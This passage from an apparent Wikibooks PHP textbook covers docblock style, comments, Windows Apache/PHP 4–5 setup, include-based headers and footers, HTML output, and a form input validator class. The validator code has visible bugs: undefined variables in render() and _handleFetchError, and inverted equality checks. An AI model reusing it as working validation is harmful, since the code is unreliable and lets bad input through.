 * http://java.sun.com/j2se/javadoc/writingdoccomments/index.html#styleguide
 *
 * The first line of any docblock is the summary. Make them one short
 * sentence, without a period at the end. Summaries for classes, properties
 * and constants should omit the subject and simply state the object,
 * because they are describing things rather than actions or behaviors.
```

```
 *
 * Below are the tags commonly used for classes. @category through @access
 * are required. The remainder should only be used when necessary.
 * Please use them in the order they appear here. phpDocumentor has
 * several other tags available, feel free to use them.
 *
 * @category   CategoryName
 * @package    PackageName
 * @author     Original Author <author@example.com>
 * @author     Another Author <another@example.com>
 * @copyright  1997-2005 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    Release: @package_version@
 * @link       http://pear.php.net/package/PackageName
 * @see        NetOther, Net_Sample::Net_Sample()
 * @since      Class available since Release 1.2.0
 * @deprecated Class deprecated in Release 2.0.0
 */
class Net_Sample
{
    /**
     * The status of foo's universe
     *
     * Potential values are 'good', 'fair', 'poor' and 'unknown'.
     *
     * @var string
     */
    var $foo = 'unknown';

    /**
     * The status of life
     *
     * Note that names of private properties or methods must be
     * preceeded by an underscore.
     *
     * @var bool
     * @access private
     */
    var $_good = true;

    /**
     * Registers the status of foo's universe
     *
     * Summaries for methods should use 3rd person declarative rather
     * than 2nd person imperative, beginning with a verb phrase.
     *
     * Summaries should add description beyond the method's name. The
     * best method names are "self-documenting", meaning they tell you
     * basically what the method does. If the summary merely repeats
     * the method name in sentence form, it is not providing more
     * information.
     *
     * Summary Examples:
     *   + Sets the label              (preferred)
     *   + Set the label               (avoid)
     *   + This method sets the label  (avoid)
     *
     * Below are the tags commonly used for methods. A @param tag is
     * required for each parameter the method has. The @return and
     * @access tags are mandatory. The @throws tag is required if the
     * method uses exceptions. @static is required if the method can
     * be called statically. The remainder should only be used when
     * necessary. Please use them in the order they appear here.
     * phpDocumentor has several other tags available, feel free to use
     * them.
     *
```

```
     * The @param tag contains the data type, then the parameter's
     * name, followed by a description. By convention, the first noun in
     * the description is the data type of the parameter. Articles like
     * "a", "an", and  "the" can precede the noun. The descriptions
     * should start with a phrase. If further description is necessary,
     * follow with sentences. Having two spaces between the name and the
     * description aids readability.
     *
     * When writing a phrase, do not capitalize and do not end with a
     * period:
     *   + the string to be tested
     *
     * When writing a phrase followed by a sentence, do not capitalize the
     * phrase, but end it with a period to distinguish it from the start
     * of the next sentence:
     *   + the string to be tested. Must use UTF-8 encoding.
     *
     * Return tags should contain the data type then a description of
     * the data returned. The data type can be any of PHP's data types
     * (int, float, bool, string, array, object, resource, mixed)
     * and should contain the type primarily returned. For example, if
     * a method returns an object when things work correctly but false
     * when an error happens, say 'object' rather than 'mixed.'  Use
     * 'void' if nothing is returned.
     *
     * Here's an example of how to format examples:
     * <sample>
     * require_once 'Net/Sample.php';
     *
     * $s = new Net_Sample();
     * if (PEAR::isError($s)) {
     *     echo $s->getMessage() . "\n";
     * }
     * </sample>
     *
     * @param string $arg1  the string to quote
     * @param int    $arg2  an integer of how many problems happened.
     *                      Indent to the description's starting point
     *                      for long ones.
     *
     * @return int  the integer of the set mode used. FALSE if foo
     *               foo could not be set.
     * @throws exceptionclass  [description]
     *
     * @access public
     * @static
     * @see Net_Sample::$foo, Net_Other::someMethod()
     * @since Method available since Release 1.2.0
     * @deprecated Method deprecated in Release 2.0.0
     */
    function set_foo($arg1, $arg2 = 0) {
        /*
         * This is a "Block Comment."  The format is the same as
         * Docblock Comments except there is only one asterisk at the
         * top. phpDocumentor doesn't parse these.
         */
        if ($arg1 == 'good' || $arg1 == 'fair') {
            $this->foo = $arg1;
            return 1;
        } else if ($arg1 == 'poor' && $arg2 > 1) {
            $this->foo = 'poor';
            return 2;
        } else {
            return false;
        }
    }
```

```
}

?>
```

64 Formatting Notes

A Wikibookian suggests that this book or chapter be merged[1] with *PHP Programming/Commenting and Style*[2].

Please discuss whether or not this merger should happen on the discussion page[3].

Commenting in PHP is simple and effective.

Writing notes to yourself, within your code, is the only way to keep track of a large file. Coming back to an uncommented 300-line page of code can be a nightmare.

To insert a single line comment within php code type // before the line. To insert a multi-line comment within code start the comment with /* and end it with */. For example:

```
<?php

$example = 1

//this is a comment that will be ignored. But will help me remember what the
 code means.

if (!randomfunction($_POST[dart])){function(example); $example ++;}


/*This is a long
multi-line comment that will
help me remember what the code means.
It will be ignored by the php-
parser*/

randomfuction($example);
?>
```

1 https://en.wikibooks.org/wiki/Help:Pages#Merging
2 https://en.wikibooks.org/wiki/PHP_Programming/Commenting_and_Style
3 https://en.wikibooks.org/w/index.php?title=Talk:PHP_Programming/Commenting_and_Style&action=edit&redlink=1

65 Get Apache and PHP

A Wikibookian suggests that this book or chapter be merged[1] with *PHP Programming/Setup and Installation*[2].
Please discuss whether or not this merger should happen on the discussion page[3].

65.0.1 Get Apache

To get Apache, first you must go to the Apache website[4]. From there, find the section for the HTTP Server Project[5], and then the download page[6]. Unless you have an understanding of compiling an executable from the source code, be **sure** you download the binary (for Windows users, I recommend the latest (2.0.52)[7] MSI installer package).

Once you've obtained an Apache installer, whether an EXE or an MSI or what have you, run it. Apache will prompt you (eventually) for several (three) pieces of information. Following this are, very basically, your choices regarding what to input:

Network Domain: Either your domain name (.com/.net/.whatever) or your workgroup. If you are not sure if you have either, you probably don't; "User" is sufficient.

Server Name: I'm really not sure what to put here other than "localhost", as that's the only server I have.

Administrator's E-mail: Your personal e-mail address. This is appended to default error messages and the like.

When given an option between running on when started and running as a service, I recommend using Apache as a service. This means that it will run when Windows begins, saving you the trouble of using the Start menu to start it every time you want to use it. To start Apache manually: Start > All Programs > Apache... > Control Apache Server > Start Apache In Console.

Note: you will also see some other options, like an option to stop Apache and an option to restart Apache. You will need to be able to control the server later. Alternatively, when I run Apache, I get an icon in the system tray next to the clock. I can right-click this icon and

1 https://en.wikibooks.org/wiki/Help:Pages#Merging
2 https://en.wikibooks.org/wiki/PHP_Programming/Setup_and_Installation
3 https://en.wikibooks.org/wiki/Talk:PHP_Programming/Setup_and_Installation
4 http://apache.org/
5 http://httpd.apache.org/
6 http://httpd.apache.org/download.cgi
7 http://www.mirror.ac.uk/mirror/ftp.apache.org/httpd/binaries/win32/apache_2.0.52-win32-x86-no_ssl.msi

it has options to stop and restart the Apache server. This system tray icon should appear by default on the windows installation.

Once the install is finished, you'll have Apache installed. However, it's not yet configured. Before we do so, though, let's test Apache to see if the installation went according to plan. You should be able to now, if the server is started, run your preferred browser and type "[8]" or, if your computer is on a network, the name of the computer (in my case "[9]"). You should see a page with the message "If you can see this, it means that the installation of the Apache software on this system was successful." Congratulations!

65.0.2 Configure Apache

First, you must set up a location for your files to be stored. I created a folder in an easy to remember and easy to type location. All of my documents are stored in the folder "C:/Web/". In this folder, I also included a shortcut to the httpd.conf document in the Apache folder for easy modification.

This httpd.conf document is located in the conf directory of where Apache is installed. On my computer this location is "C:/Program Files/Apache Group/Apache2/conf/". Regardless of where it is, find it and open it before continuing.

This file is the primary (if not only) configuration file for your Apache server. The size and amount of words looks intimidating, but really most of them are comments; any line that begins with a hash mark / pound sign (#) is a comment. Find (using ctrl+f), "DirectoryIndex" and you will eventually see a line that reads `DirectoryIndex index.html index.html.var`. We are going to change that to read `DirectoryIndex index.html index.html.var index.php index.htm`. This means that if an index.html is not found in your web directory, the server will look for an index.php, and then will look for index.htm if index.php is not found. Go ahead and save the file. Fantastic. For the changes to take effect, you must restart the server.

To define where your web folder is, find (via ctrl+f) "DocumentRoot". Replace what follows "DocumentRoot" in quotes with the full path to your web directory. If you're using C:/Web/ as your web directory, your line would read `DocumentRoot "C:/Web/"`. Scroll down a tad to find the comment line that reads "This should be changed to whatever you set DocumentRoot to." Change the following line to read <`Directory "C:/Web/"`> or whatever you set DocumentRoot to.

65.0.3 Testing Apache

You should have a functioning Apache server now. You can test this by first restarting Apache, then placing an HTML file in your web directory named "index.htm" and then accessing it by opening your browser and browsing to [10]. If you see your index.htm, excellent work.

8 `http://localhost/`
9 `http://dellpc/`
10 `http://localhost/`

Note: for a while, I would see the Apache test page if I just went to [11] or [12]. To see my index page, I would have to go directly to that file, i.e. [13]. Eventually, this just stopped happening. I'm not sure what happened.

This probabally happened because the Apache test page was cached. This means your web browser had stored a copy of it locally and was serving that file instead of the real webpage. Hitting refresh should fix this problem.

Since Apache is configured and working, all that's left is to download, install, and configure PHP, and then reconfigure Apache to use it.

65.0.4 Get PHP

The PHP website[14] is the home of PHP on the web. There you can download PHP and also find the PHP manual. In any language, having a manual is a **huge** help.

Navigate to the downloads page[15] and find the latest ZIP package. At the time of this writing, the current version is 4.3.9, and the ZIP package is here[16]. Unzip, via WinZip or WinRAR or PKUnzip or whatever decompressing program you use, to the root (C:/, usually) directory. It will leave a folder called "php-...". Rename this folder to "php", and it is in this C:/PHP/ directory that your new script interpreter now resides.

Note: There is also an installer available for PHP, but I do not recommend this as using it shall lessen your knowledge of how PHP works.

PHP 5.0.2 is also available for download. This is a newer code base and generally has a greater performance, and more capabilities than then 4.x.x line. It is generally advised that you use the 5.x.x line in preference to 4.x.x. The code for PHP5 is very similar to the code for PHP4, and everything covered in this book should work under both environments.

65.0.5 Configure PHP

In your C:/PHP/ directory, find the files called "php.ini-dist" and "php.ini-recommended". These are two separate files that are included with PHP that contain separate configurations for PHP depending on your needs. The PHP website recommends you use the recommended version, so you need to rename this to "php.ini".

Here you have a choice. At this stage you need to make the file accessible to your webserver and the PHP parser. You can either:

- Simply move it to C:/WINDOWS/ and then make two shortcuts. One of these belongs in the C:/PHP/ directory and the other being in the web directory. This makes it easy to find while working with either PHP or the files in the web directory.

11 `http://localhost/`
12 `http://dellpc/`
13 `http://localhost/index.htm`
14 `http://php.net/`
15 `http://php.net/downloads.php`
16 `http://www.php.net/get/php-4.3.9-Win32.zip/from/a/mirror`

- Or (if you have Apache 2) make it available to Apache in its PHPIniDir directive in the `httpd.conf` file. In order to do this, simply open `httpd.conf`, scroll to the bottom and add one of these lines:

```
# If you chose PHP 4 insert this:
LoadModule php4_module "c:/php/sapi/php4apache2.dll"
AddType application/x-httpd-php .php


# If you chose PHP 5 insert this:
LoadModule php5_module "c:/php/php5apache2.dll"
AddType application/x-httpd-php .php


# configure the path to php.ini
PHPIniDir "C:/php"
```

(remembering to change `C:/php` if you put the PHP folder anywhere else)

- Additionally, if you would like Apache to colour highlight your PHP source files, add the following line directly below:

```
AddType application/x-httpd-php-source .phps
```

In php.ini, find "doc_root". Much like you did with the Apache DocumentRoot directive, make the line read `doc_root = "c:\web"` or whatever your web directory is. Scroll down a tad (or find) to reach the extension_dir line. After the equals sign, type, in quotes, the directory in which PHP is located. For people following along, this would be C:/PHP/. My extension_dir, for instance, reads `extension_dir = "c:\php"`.

Finally, you need to make the relevant DLL's available to the web server. Again, there are a number of different ways of doing this. I recommend the final method because it will allow you to easier upgrade PHP in the future, should you choose to do so. The DLL's are `php4ts.dll` and `php5ts.dll` depending on the version of PHP that you are installing.

- You can simply copy the DLL to the `C:\Windows\` directory.
- Or to the web server's directory (e.g. `C:\Program Files\Apache Group\Apache2\bin`)
- Or you can add the PHP directory to the Windows PATH. There are different ways of doing this depending on your version of Windows:
  - In Windows 98/Me you need to edit autoexec.bat:
    - Look through the file until you find an entry with `PATH=C:\WINDOWS;C:\WINDOWS\SYSTEM...` etc. Simply append *`;C:\PHP`* to the end of it.
    - Save the file (make sure that you make a backup first) and restart your computer.
  - On Windows NT/2000/XP and Server 2003, you need to change the PATH in the `Environment Variables` pane.
    - Open the System panel from the Control Panel.
    - Click on the Advanced tab, click on the button to open the "environment variables". Look in the pane for System Variables.
    - Find the PATH entry and double-click on it. Add "*;C:\PHP*" to the end of the line.
    - Click OK and restart your computer.

66 Headers and Footers

Create the header and footer files:

Create a file called ”header.php” and enter the html code that you'd like at the top of each page as follows:

```
<html>
<head>
    <title><?php echo $title; ?></title>
</head>
<body>

<h1>Our Web Site</h1>
<!-- end header -->
```

Create a file called ”footer.php” and enter the html code that you'd like at the bottom of each page as follows:

```
<!-- begin footer -->
<p>Web Site last changed on 1/1/2005.</p>
</body>
</html>
```

Now we will create a web page that uses these headers and footers. Create a file called ”page.php” and enter the following html code:

```
<?php
$title = "Welcome";                  // (1) Set the title
include "header.php";                // (2) Include the header
?>

<!-- begin page content -->
<p><b>Welcome to our web site.</b></p>
<p style='text-align: center;'>
We're using PHP to provide you with dynamic content
for a better web experience.
</p>
<!-- end page content -->

<?php
include "footer.php";                // (3) Include the footer
?>
```

We set the title for the page using **(1)**
We then include the header page using **(2)**
And we include the footer page using **(3)**

The final page should look like this:

```
<html>
<head>
    <title>Welcome</title>
</head>
<body>

<h1>Our Web Site</h1>
<!-- end header -->

<!-- begin page content -->
<p><b>Welcome to our web site.</b></p>
<p style='text-align: center;'>
We're using PHP to provide you with dynamic content
for a better web experience.
</p>
<!-- end page content -->

<!-- begin footer -->
<p>Web Site last changed on 1/1/2005.</p>
</body>
</html>
```

Files included in this way act as if their text was inserted into the main document right at the include() call. PHP then continues to process the inserted file, allowing the inserted file to access all previously defined variables and functions (so $title in header.php was replaced with the value set in page.php: "Welcome"). This can have unintended consequences if a file is included more than once. To learn how to correctly include files containing functions and classes, see PHP Include Files[1].

1 https://en.wikibooks.org/wiki/PHP_Programming/PHP_Include_Files

67 HTML Output

There are a few different way you can display HTML using PHP. Generally, you will use the echo command to output something. This will be seen by a web browser, and then it will format it.

```
<?php get_header(); ?>

<div class="content">

    <div class="content_botbg">

        <div class="content_res">

            <!-- full block -->
            <div class="shadowblock_out">

                <div class="shadowblock">

                    <div class="post">

                        <?php if ( have_posts() ) while ( have_posts() ) :
the_post(); ?>

                            <?php if ( !empty( $post->post_parent ) ) : ?>

                                <p class="page-title"><a href="<?php echo
get_permalink( $post->post_parent ); ?>" title="<?php esc_attr( printf( __(
'Return to %s', 'appthemes' ), get_the_title( $post->post_parent ) ) ); ?>"
rel="gallery"><?php
                                    printf( '<span class="meta-nav">' . __(
'&larr; Return to %s', 'appthemes' ) . '</span>', get_the_title(
$post->post_parent ) );
                                ?></a></p>

                            <?php endif; ?>

                            <div id="post-<?php the_ID(); ?>" <?php
post_class(); ?>>

                                <h2 class="attach-title"><?php the_title();
?></h2>

                                <div class="attach-meta">
                                    <?php
                                        printf( __( '<span
class="%1$s">By</span> %2$s', 'appthemes' ),
                                            'meta-prep meta-prep-author',
                                            sprintf( '<span class="author
vcard"><a class="url fn n" href="%1$s" title="%2$s"
rel="author">%3$s</a></span>',
                                                get_author_posts_url(
get_the_author_meta( 'ID' ) ),
                                                sprintf( esc_attr__( 'View all
ads by %s', 'appthemes' ), get_the_author() ),
                                                get_the_author()
                                            )
```

```
                                    );
                                ?>

                                <span class="meta-sep">|</span>

                                <?php
                                    printf( __( '<span
class="%1$s">Uploaded</span> %2$s', 'appthemes' ),
                                        'meta-prep meta-prep-entry-date',
                                        sprintf( '<span
class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span>',
                                            esc_attr( get_the_time() ),
                                            get_the_date()
                                        )
                                    );

                                    if ( wp_attachment_is_image() ) {
                                        echo ' <span
class="meta-sep">|</span> ';
                                        $metadata =
wp_get_attachment_metadata();
                                        printf( __( 'Full size is %s
pixels', 'appthemes' ),
                                            sprintf( '<a href="%1$s"
title="%2$s">%3$s &times; %4$s</a>',
                                                wp_get_attachment_url(),
                                                esc_attr( __( 'Link to
full-size image', 'appthemes' ) ),
                                                $metadata['width'],
                                                $metadata['height']
                                            )
                                        );
                                    }
                                ?>

                                <?php edit_post_link( __( 'Edit',
'appthemes' ), '<span class="meta-sep">|</span> <span class="edit-link">',
'</span>' ); ?>

                            </div><!-- /attach-meta -->

                            <div class="entry-content">

                                <div class="entry-attachment">

                                    <?php if ( wp_attachment_is_image() ) :
?>

                                        <?php
                                        $attachments = array_values(
get_children( array( 'post_parent' => $post->post_parent, 'post_status' =>
'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' =>
'ASC', 'orderby' => 'menu_order ID' ) ) );

                                        foreach ( $attachments as $k =>
$attachment ) {
                                            if ( $attachment->ID ==
$post->ID )
                                                break;
                                        }

                                        $k++;
                                        // If there is more than 1 image
attachment in a gallery
                                        if ( count( $attachments ) > 1 ) {
                                            if ( isset( $attachments[ $k ] )
```

```
)
                                                    // get the URL of the next
image attachment
                                                    $next_attachment_url =
get_attachment_link( $attachments[ $k ]->ID );
                                                else
                                                    // or get the URL of the
first image attachment
                                                    $next_attachment_url =
get_attachment_link( $attachments[ 0 ]->ID );
                                            } else {
                                                // or, if there's only 1 image
attachment, get the URL of the image
                                                $next_attachment_url =
wp_get_attachment_url();
                                            }
                                            ?>

                                            <p class="attachment"><a href="<?php
echo $next_attachment_url; ?>" title="<?php echo esc_attr( get_the_title() );
?>" rel="attachment">
                                            <?php
                                                $attachment_width  =
apply_filters( 'appthemes_attachment_size', 800 );
                                                $attachment_height =
apply_filters( 'appthemes_attachment_height', 800 );
                                                echo wp_get_attachment_image(
$post->ID, array( $attachment_width, $attachment_height ) );
                                            ?></a></p>

                                            <div id="nav-below"
class="navigation">

                                                <div class="next-prev"><?php
previous_image_link( false, __('&larr; prev', 'appthemes') );
?>   <?php next_image_link( false, __('next &rarr;', 'appthemes')
); ?></div>

                                            </div><!-- /nav-below -->

                                        <?php else : ?>

                                            <a href="<?php echo
wp_get_attachment_url(); ?>" title="<?php echo esc_attr( get_the_title() ); ?>"
rel="attachment"><?php echo basename( get_permalink() ); ?></a>

                                        <?php endif; ?>

                                    </div><!-- /entry-attachment -->



                                </div><!-- /entry-content -->

                            </div><!-- /post -->

                        <?php endwhile; // end of the loop ?>

                        <div class="clr"></div>


                    </div><!--/post-->

                </div><!-- /shadowblock -->

            </div><!-- /shadowblock_out -->
```

```
            <div class="clr"></div>

        </div><!-- /content_res -->

    </div><!-- /content_botbg -->

</div><!-- /content -->

<?php get_footer(); ?>
```

67.1 Breaking PHP for Output

In addition to using functions such as echo and print, you can also end your script, and anything beyond the end of the script will be output as normal HTML to the browser. You can also restart your script whenever you want after you've closed the PHP tag. Confused? It's actually pretty simple.

Let's say you had a *for* loop to count up to five and output it.

```
<?php

echo("<ul>");
for($x = 1; $x < 6; $x++)
{
  echo("<li>" . $x . "</li>");
}
echo("</ul>");

?>
```

While I would tend to use templates[1] for larger pages that output a lot, we'll get to that later. Remember how all your PHP scripts start with <?php and end with ?>? Those don't have to be the very start and end of your file. In fact, PHP handles ending and restarting scripting just like if everything between the ?> and <?php tags were inside of an echo statement.

Thus, you could do something like this:

```
<ul>

 <?php
 for($x = 1; $x < 6; $x++)
 {
 ?>
  <li><?= $x ?></li>
 <?php
 }
 ?>

</ul>
```

This is actually a very common method of outputting variables in a script, especially if there is a lot of HTML surrounding the variables. As I said before, I personally rarely ever

1 https://en.wikibooks.org/wiki/Programming:PHP:template

do this, as in my opinion, using echo for smaller scripts keeps your code cleaner (and I would use templates for larger ones). However, we want to cover most of the language here, so this is another method you could use.

68 Advanced Input Validation

```
<?php
/* created by nemesiskoen */

$pv = new InputValidator($_POST);

if($pv->exists('submit')) { // is the value 'submit' set in the $_POST array?

    $pv->hasValue('age', 'You must enter an age');
    $pv->hasValue('email', 'You must enter an email');
    // ...

    $pv->isInt('age', 'You must enter a valid age.');
    $pv->isEmail('email', 'You must enter a valid email.');
    $pv->hasMinLength('username', 2, "You're username needs to be at least 2
 characters long.");
    $pv->matchbool(someFunction(), 'The function returned false!');
    $pv->matchRegex('username', REGEX_HERE, 'error message here');
    $pv->equals('password1', $pv->get('password2'), "Passwords don't match.");
    $pv->equals('password1', $pv->get('username'), "Password can't be the same
 as your username.");
    $pv->isUrl('website', 'You must enter a valid website.');

    if($pv->render()) {
        // form successfully submitted!
    }

}

$pv->assignToTemplate($tpl); // if you work with a template parser this will
 assign ALL values again, with the same name, but prefixed by 'p'.

// otherwise you can query the error array as followed:
$errors = $pv->getErrors();
// loop through the errors
echo 'The form couldn\'t submt because: <br />';
foreach($errors as $v) {
    echo $v . '<br />';
}

?>

<?php

/**
 * @package DP_InputValidator
 *
 */

class DP_InputValidator_Abstract {

    /**
     * Mainarray
     *
     * @access protected
     * @var array $_array
     */
```

```
protected $_array = array();

/**
 * All errorstring
 *
 * @access protected
 * @var array $_errorStrings
 */

protected $_errorStrings = array();

/**
 * Errorstrings
 *
 * @access public
 * @var string $noValueError
 * @var string $noIntError
 * @var string $noEmailError
 * @var string $noRegexError
 * @var string $equalError
 * @var string $noEqualError
 * @var string $noMinLengthError
 */

public $noValueError = "%s has no value";
public $noIntError = "%s is no int";
public $noEmailError = "%s is not a valid email";
public $noRegexError = "%s doesn't match a certain regex";
public $equalError = "%s equals something that isn't allowed!";
public $noEqualError = "%s doesn't equal something, which is required!";
public $noMinLengthError = "%s must be a certain length!";
public $noIssetError = "%s is not set!";

/**
 * Set the array to validate
 *
 * @access protected
 * @param array &$array
 * @param bool $safe
 */
protected function __construct(&$array, $safe = true) {
    $this->_array = $array;
    if($safe) {
        $array = null;
    }
}

/**
 * Get a secured item of the array
 *
 * @access public
 * @param string $key
 * @return mixed
 */
public function get($key) {
    return $this->_secureArray($this->_array[$key]);
}

/**
 * Get a raw item of the array
 *
 * @access public
 * @param string $key
 * @return string
 */
public function value($key) {
```

```
        return $this->_array[$key];
    }

    /**
     * Get the whole array, if secured is set to true then the array will be
secured
     *
     * @access public
     * @param bool $secure = true
     * @param mixed $noSubmit = 'submit'
     * @return array
     */
    public function getArray($secure = true, $noSubmit = 'submit') {
        $array = $this->_array;
        if($secure) {
            foreach($array as $k => $v) {
                if(is_array($v)) {
                    $array[$k] = $this->_secureArray($v);
                } else {
                    $array[$k] = htmlsecure($v);
                }
            }
        }

        if($noSubmit) {
            unset($array[$noSubmit]);
        }

        return (array) $array;
    }

    /**
     * Render method
     * if a fault has a occurred, an no exception is thrown:
     * this function will throw an exception (depending of the $throw parameter)
     * If the $reset parameter is set to true, all the errorArrays will be reset
     * throws Exception
     *
     * @access public
     * @param bool $reset
     * @return bool
     */
    public function render($reset = true) {
        $checks = $this->_getAllErrorArrays();
        $aantal = 0;
        foreach($checks as $v) {
            $var = '_' . $v;
            $count += count($this->$var);
            if($reset) $this->$var = array();
        }
        $return = ($count == 0 && count($this->_errorStrings) == 0);
        if($reset && $return) $this->_errorStrings = array();
        return $return;
    }

    /**
     * Set a var, override if $override is set on true
     *
     * @param string $var
     * @param string $value
     * @param bool $overwrite
     */
    public function setVar($var, $value = "", $overwrite = true) {
        if(is_array($var)) {
            foreach($var as $k => $v) {
                $this->setVar($k, $v, $value);
```

```
            }
        } elseif(!isset($this->_array[$var]) || $overwrite) {
            $this->_array[$var] = $value;
        }
    }

    /**
     * Unset a var
     *
     * @param string $varName
     */
    public function unsetVar($varName) {
        if($this->exists($varName)) {
            unset($this->_array[$varName]);
        }
    }

    /**
     * Get all the occurred errorStrings, if the $multiD parameter is set to
true
     * the return array will be multiDimensional
     * otherwise it will be a 1D array
     *
     * @access public
     * @param bool $multiD = false
     * @return array
     */
    public function getErrorStrings($multiD = false) {
        if($multiD) {
            return $this->_errorStrings;
        }

        $return = array();
        foreach($this->_errorStrings as $array) {
            foreach($array as $value) {
                $return[] = $value;
            }
        }

        return (array) $return;
    }


    /**
     * Assign the errors to a templatePower template.
     *
     * @access public
     * @param string $tpl
     * @param string $block
     * @param string $var
     * @return InputValidator_Abstract
     */
    public function assignToTemplate($tpl) {
        $tpl->assign($this->getArray(), true, false, 'p_');
        $errorstrings = $this->getErrorStrings();

        $tpl->assign('error', count($errorstrings) > 0);
        $tpl->assign('errors', $errorstrings);

        return $this;
    }

    /**
     * If one of the 'check'-methods is given an array as argument, this method
will handle this
     *
```

```
     * @access protected
     * @param bool $multiD
     * @return array
     */
    protected function _handleArray($keys, $function, $errorString) {
        $ok = true;
        foreach($keys as $v) {
            if(!$this->$function($v, $errorString)) $ok = false;
        }
        return $ok;
    }

    /**
     * Secure a multi-dimensional array or a string
     *
     * @access protected
     * @param mixed $array
     * @return mixed
     */
    protected function _secureArray($input) {
        $return = '';
        if(is_array($input)) {
            $return = array();
            foreach($input as $k => $v) {
                if(is_array($v)) {
                    $return[$k] = $this->_secureArray($v);
                } else {
                    $return[$k] = htmlentities($v);
                }
            }
        } else {
            $return = htmlentities($input);
        }
        return $return;
    }

    /**
     * Add an error string
     * if alternative is given, it will be used in the 'sprintf' statement
     *
     * @access protected
     * @param string $key
     * @param string $string
     * @param string $alternative = ""
     * @return bool (false)
     */
      protected function _addErrorString($key, $string) {
        if(!isset($this->_errorStrings[$key])) {
            $this->_errorStrings[$key] = array();
        }
        $this->_errorStrings[$key][] = $string;
        return false;
    }

    /**
     * This function will return all the error Arrays that are used by the
'check'-methods
     *
     * @access protected
     * @param void
     * @return array
     */
    protected function _getAllErrorArrays() {
        return array('noValue', 'noInt', 'noEmail', 'noRegex', 'equals',
'noEquals', 'noMinLength');
    }
```

```
/**
 * Process an error
 *
 * @access protected
 * @param string $type
 * @param string $key
 * @param string $errorString
 * @return InputValidator_Abstract
 */
protected function _processError($type, $key, $errorString) {
    if(isset($this->$type) && is_array($this->$type)) {
        array_push($this->$type, $key);
        $this->_addErrorString($key, $errorString);
    }
    return $this;
}

/**
 * Is called by __call when the user wants to withdraw an error
 *
 * @access protected
 * @param string $method
 * @param array $arg
 * @return string
 */
protected function _handleFetchError($method, $arg) {
    list($key, $name, $string) = $arg;
    $errorstring = $method . "Error";
    $n = $name != null ? $name : $key;
    $errstr = $string != null ? $string : $this->$errorstring;
    return in_array($key, $this->$var) ? sprintf($errstr, $n) : "";
}

/**
 * Is called by __call to validate a field.
 *
 * @access protected
 * @param string $method
 * @param array $arg
 * @return mixed
 */
protected function _handleValidate($method, $arg) {
    $key = $arg[0];
    if(is_array($key) && (count($key) == 1 || count($key) == 2)) {
        return $this->_handleArray($key, $method, $arg[1]);
    } else {
        if(is_bool($key)) {
            if(!in_array($method, $this->_boolFunctions))
                return false;
        } elseif(!$this->exists($key) && $method != "_Validate_isset") {
            return false;
        }
        if(!call_user_func_array(array($this, $method), $arg)) {
            return $this->_addErrorString($key, end($arg));
        }
    }
    return true;
}

/**
 * The __call method is used to process to situations:
 * - if you want to check for errors
 * - if you want to withdraw the errors
 *
 * @access protected
```

```
     * @param string $method
     * @param array $arg
     * @return mixed
     */
    protected function __call($method, $arg) {

        $validateMethod = '_Validate_' . $method;
        /*
         if the method exists "_Validate_' . $method" try to call it with 2 or 3
 arguments
         the rest will be handled as a public method itself, and not via __call
        */
        if(method_exists($this, $validateMethod)) {
            return $this->_handleValidate($validateMethod, $arg);
        }
        /*
         Otherwise lets see if the requested array is set, if the call is for
 example:
          _noInt('age', 'leeftijd', '%s moet een getal zijn')
        */
        $var = '_' . $method;
        if(isset($this->$var) && is_array($this->$var) && $this->$var !=
 $this->_array) {
            return $this->_handleFetchError($method, $arg);
        }
        return null;
    }

}

?>

Add new methods to this class to validate.

<?php

/**
 * @package DP_InputValidator
 *
 */

class DP_InputValidator extends DP_InputValidator_Abstract {

    /**
     * All error arrays
     *
     * @access protected
     * @var array $_noValue
     * @var array $_noInt
     * @var array $_noEmail
     * @var array $_noRegex
     * @var array $_equals
     * @var array $_noEquals
     * @var array $_noMinLength
     */

    protected $_noValue = array();
    protected $_noInt = array();
    protected $_noEmail = array();
    protected $_noRegex = array();
    protected $_equals = array();
    protected $_noEquals = array();
    protected $_noMinLength = array();
    protected $_noIsset = array();

    /**
```

```
     * An array of all the functions that accept a boolean instead of a key.
     *
     * @access protected
     * @var array $_boolFunctions
     */

    protected $_boolFunctions = array('_Validate_matchBool');

    /**
     * Pass through to the Parent Constructor
     *
     * @param array &$array
     * @param bool $safe
     */

    public function __construct(&$array, $safe = true) {
        parent::__construct($array, $safe);
    }

    /**
     * Does an array key exist
     *
     * @param string $key
     * @return bool
     */
    public function exists($key) {
        if(is_string($key) || is_int($key)) {
            return array_key_exists($key, $this->_array);
        }
        return true;
    }

    /**
     * Does it have a value?
     *
     * @access protected
     * @param string $key
     * @return bool
     */
    public function _Validate_hasValue($key) {
        return ($this->_array[$key] != "");
    }

    /**
     * Is it an integer?
     *
     * @access protected
     * @param string $key
     * @return bool
     */
    public function _Validate_isInt($key) {
        return (strval(intval($this->_array[$key])) == $this->_array[$key]);
    }

    /**
     * Is it a valid email?
     *
     * @access protected
     * @param string $key
     * @return bool
     */
    public function _Validate_isEmail($key) {
        if(!validateEmailFormat($this->_array[$key])) { // ADD YOUR OWN EMAIL
VALIDATION FUNCTION HERE
            return ($this->_array[$key] == '');
        }
```

```
    return true;
}

/**
 * Is it a valid url?
 *
 * @access protected
 * @param string $key
 * @return bool
 */
public function _Validate_isUrl($key) {
    if(!validateUrlFormat($this->_array[$key])) {
        return ($this->_array[$key] == '');
    }

    return true;
}

/**
 * Is it set?
 *
 * @access protected
 * @param string $key
 * @return  bool
 */
public function _Validate_isset($key) {
    return isset($this->_array[$key]);
}

/**
 * Does it match a given regex?
 *
 * @access protected
 * @param mixed $key
 * @param string $match
 * @return bool
 */
public function _Validate_matchRegex($key, $match) {

    return (preg_match($match, $this->_array[$key]));

}

/**
 * Does it equals '$value'?
 *
 * @access public
 * @param mixed $key
 * @param string $value
 * @param bool $case
 * @return bool
 */
public function _Validate_equals($key, $value, $case) {
    if($case == false) {
        return (strtolower($this->_array[$key]) === strtolower($value));
    }
    return ($this->_array[$key] === $value);

}

/**
 * Does the length differs from '$value'?
 *
 * @access public
 * @param mixed $key
 * @param string $value
```

```
     * @return bool
     */
    public function _Validate_noEquals($key, $value) {

        return ($this->_array[$key] === $value);
    }

    /**
     * Is the length longer than $length?
     *
     * @access public
     * @param mixed $key
     * @param string $value
     * @return bool
     */
    public function _Validate_hasMinLength($key, $length) {

        return (strlen(trim($this->_array[$key])) >= $length);

    }

    /**
     * Is a bool true or false
     * USE:
